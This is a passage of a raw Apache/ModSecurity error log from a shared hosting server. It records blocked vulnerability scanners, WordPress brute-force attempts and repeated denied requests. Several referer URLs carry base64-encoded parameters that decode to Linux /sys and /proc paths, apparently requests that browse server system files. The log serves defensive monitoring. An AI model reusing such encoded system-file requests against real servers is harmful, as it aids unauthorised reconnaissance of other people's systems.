"900406"] [msg "wp-login POST logging"] [data "200"] [hostname "shortstaygem.co.uk"] [uri "/wp-login.php"] [unique_id "ai3xvcTA7b1mZrmcA-8urgACO2c"], referer: https://shortstaygem.co.uk/wp-login.php [Sat Jun 13 18:11:41.588541 2026] [access_compat:error] [pid 531155:tid 531236] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQ2L3Bvd2Vy [Sat Jun 13 18:11:41.588822 2026] [access_compat:error] [pid 531155:tid 531236] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQ2L3Bvd2Vy [Sat Jun 13 18:11:41.667505 2026] [access_compat:error] [pid 531155:tid 531270] [remote 57.141.14.73:28866] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:41.667946 2026] [access_compat:error] [pid 531155:tid 531270] [remote 57.141.14.73:28866] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:41.727494 2026] [security2:error] [pid 531155:tid 531256] [remote 17.246.15.206:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 206.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xvSmiP80klyS0Nnr_pwABSGQ"] [Sat Jun 13 18:11:41.822888 2026] [access_compat:error] [pid 531797:tid 531889] [remote 57.141.14.72:45075] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:41.823324 2026] [access_compat:error] [pid 531797:tid 531889] [remote 57.141.14.72:45075] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:41.982678 2026] [access_compat:error] [pid 531155:tid 531271] [remote 216.73.216.182:4582] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:41.983143 2026] [access_compat:error] [pid 531155:tid 531271] [remote 216.73.216.182:4582] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:42.105144 2026] [access_compat:error] [pid 531155:tid 531272] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvc3Vic3lzdGVtL2V2ZW50My9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZQ== [Sat Jun 13 18:11:42.105586 2026] [access_compat:error] [pid 531155:tid 531272] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvc3Vic3lzdGVtL2V2ZW50My9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZQ== [Sat Jun 13 18:11:42.220177 2026] [access_compat:error] [pid 531797:tid 531983] [remote 74.7.242.16:47660] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxNDkxL25ldA== [Sat Jun 13 18:11:42.220622 2026] [access_compat:error] [pid 531797:tid 531983] [remote 74.7.242.16:47660] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxNDkxL25ldA== [Sat Jun 13 18:11:42.317742 2026] [security2:error] [pid 531797:tid 531897] [remote 17.241.75.150:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 150.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xvsTA7b1mZrmcA-8u0QACgyE"] [Sat Jun 13 18:11:42.625588 2026] [access_compat:error] [pid 531155:tid 531157] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9kZXZpY2UvZHJpdmVyL3NlcmlvMQ== [Sat Jun 13 18:11:42.626046 2026] [access_compat:error] [pid 531155:tid 531157] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9kZXZpY2UvZHJpdmVyL3NlcmlvMQ== [Sat Jun 13 18:11:42.649125 2026] [access_compat:error] [pid 531797:tid 531876] [remote 57.141.14.15:61285] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:42.649399 2026] [access_compat:error] [pid 531797:tid 531876] [remote 57.141.14.15:61285] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:42.880346 2026] [security2:error] [pid 531155:tid 531261] [remote 17.22.245.245:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 245.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xvimiP80klyS0Nnr_xwABOGk"] [Sat Jun 13 18:11:42.971944 2026] [security2:error] [pid 531797:tid 531886] [remote 17.246.23.246:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 246.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xvsTA7b1mZrmcA-8u6QACSRY"] [Sat Jun 13 18:11:43.167203 2026] [access_compat:error] [pid 531155:tid 531263] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDEvY2FwYWJpbGl0aWVz [Sat Jun 13 18:11:43.167632 2026] [access_compat:error] [pid 531155:tid 531263] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDEvY2FwYWJpbGl0aWVz [Sat Jun 13 18:11:43.269791 2026] [access_compat:error] [pid 531155:tid 531199] [remote 57.141.14.28:25712] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:43.270233 2026] [access_compat:error] [pid 531155:tid 531199] [remote 57.141.14.28:25712] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:43.432281 2026] [access_compat:error] [pid 531797:tid 531879] [remote 57.141.14.112:32158] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:43.432717 2026] [access_compat:error] [pid 531797:tid 531879] [remote 57.141.14.112:32158] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:43.688252 2026] [security2:error] [pid 531797:tid 531873] [remote 17.22.253.157:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 157.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xv8TA7b1mZrmcA-8vDAACggk"] [Sat Jun 13 18:11:43.706084 2026] [access_compat:error] [pid 531155:tid 531276] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQwL2V2ZW50MC9wb3dlcg== [Sat Jun 13 18:11:43.706547 2026] [access_compat:error] [pid 531155:tid 531276] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQwL2V2ZW50MC9wb3dlcg== [Sat Jun 13 18:11:43.912592 2026] [security2:error] [pid 531155:tid 531209] [remote 17.22.253.68:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 68.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xvymiP80klyS0Nnr_3wABIjU"] [Sat Jun 13 18:11:43.932972 2026] [security2:error] [pid 531797:tid 531884] [remote 17.246.15.37:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 37.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xv8TA7b1mZrmcA-8vFAACeBQ"] [Sat Jun 13 18:11:44.203985 2026] [access_compat:error] [pid 531155:tid 531185] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZS9zdWJzeXN0ZW0vZXZlbnQ1L3Bvd2Vy [Sat Jun 13 18:11:44.204448 2026] [access_compat:error] [pid 531155:tid 531185] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZS9zdWJzeXN0ZW0vZXZlbnQ1L3Bvd2Vy [Sat Jun 13 18:11:44.245079 2026] [access_compat:error] [pid 531797:tid 531927] [remote 57.141.14.12:27158] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:44.245543 2026] [access_compat:error] [pid 531797:tid 531927] [remote 57.141.14.12:27158] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:44.382549 2026] [access_compat:error] [pid 531797:tid 531864] [remote 57.141.14.19:41846] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:44.382880 2026] [access_compat:error] [pid 531797:tid 531864] [remote 57.141.14.19:41846] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:44.404722 2026] [access_compat:error] [pid 531797:tid 531986] [remote 57.141.14.109:34756] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:44.405157 2026] [access_compat:error] [pid 531797:tid 531986] [remote 57.141.14.109:34756] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:44.412005 2026] [access_compat:error] [pid 531797:tid 531870] [remote 57.141.14.42:35092] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:44.412490 2026] [access_compat:error] [pid 531797:tid 531870] [remote 57.141.14.42:35092] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:44.744322 2026] [access_compat:error] [pid 531155:tid 531249] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQwL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ1 [Sat Jun 13 18:11:44.744682 2026] [access_compat:error] [pid 531155:tid 531249] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQwL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ1 [Sat Jun 13 18:11:44.798238 2026] [access_compat:error] [pid 531797:tid 531958] [remote 57.141.14.63:59386] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:44.798675 2026] [access_compat:error] [pid 531797:tid 531958] [remote 57.141.14.63:59386] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:45.089617 2026] [access_compat:error] [pid 531155:tid 531258] [remote 57.141.14.3:39298] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:45.090064 2026] [access_compat:error] [pid 531155:tid 531258] [remote 57.141.14.3:39298] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:45.129454 2026] [access_compat:error] [pid 531155:tid 531179] [remote 57.141.14.88:21944] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:45.129916 2026] [access_compat:error] [pid 531155:tid 531179] [remote 57.141.14.88:21944] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:45.192728 2026] [security2:error] [pid 531155:tid 531331] [client 172.56.168.133:24800] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3xwSmiP80klyS0NnoAAgAAATg"] [Sat Jun 13 18:11:45.192872 2026] [security2:error] [pid 531155:tid 531331] [client 172.56.168.133:24800] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3xwSmiP80klyS0NnoAAgAAATg"] [Sat Jun 13 18:11:45.232882 2026] [access_compat:error] [pid 531797:tid 531949] [remote 57.141.14.56:57784] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:45.233140 2026] [access_compat:error] [pid 531797:tid 531949] [remote 57.141.14.56:57784] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:45.237160 2026] [access_compat:error] [pid 531155:tid 531206] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 